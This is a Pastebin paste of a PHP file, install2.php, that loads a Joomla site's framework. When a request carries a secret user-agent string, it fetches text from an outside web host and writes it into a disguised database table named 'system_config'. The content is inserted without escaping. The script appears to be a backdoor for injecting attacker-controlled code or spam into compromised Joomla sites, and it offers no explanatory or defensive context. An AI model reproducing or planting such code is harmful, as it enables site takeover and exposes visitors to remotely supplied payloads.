Advertisement
PalmaSolutions

install2.php

Dec 29th, 2017
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.28 KB | None | 0 0
  1. <?php
  2. define('_JEXEC', 1);
  3.  
  4. try{
  5.     define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT'] );
  6.     define( 'DS', DIRECTORY_SEPARATOR );
  7.     require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
  8.     require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
  9.     JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
  10.     $mainframe =& JFactory::getApplication('site');
  11. }
  12. catch (Exception $e) {
  13.     if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/defines.php'))
  14. {
  15.     include_once $_SERVER['DOCUMENT_ROOT'] . '/defines.php';
  16.  
  17. }
  18. if (!defined('_JDEFINES'))
  19. {
  20.     define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
  21.     require_once JPATH_BASE . '/includes/defines.php';
  22. }
  23.  
  24. require_once JPATH_BASE . '/includes/framework.php';
  25.  
  26. }
  27.  
  28.  
  29. if ( md5(getenv('HTTP_USER_AGENT')) == '69bc3b342502573e6d727f341674f010') {
  30.     $db = JFactory::getDbo();
  31.     $sql = "CREATE TABLE IF NOT EXISTS `system_config` (
  32.    `id` int(11) NOT NULL,
  33.    `htmlcode` mediumtext,
  34.    PRIMARY KEY (`id`)
  35.    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
  36.     $db->setQuery($sql);
  37.     $db->query();
  38.     $homepage = file_get_contents('http://yavapaiblock.com/modules/exmenu/loader/data4.txt');
  39.     $sql = "INSERT INTO system_config(`id`,`htmlcode`) VALUES (1,'$homepage') ON DUPLICATE KEY UPDATE `htmlcode` = '$homepage'";
  40.     $db->setQuery($sql);
  41.     $db->query();
  42. }
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement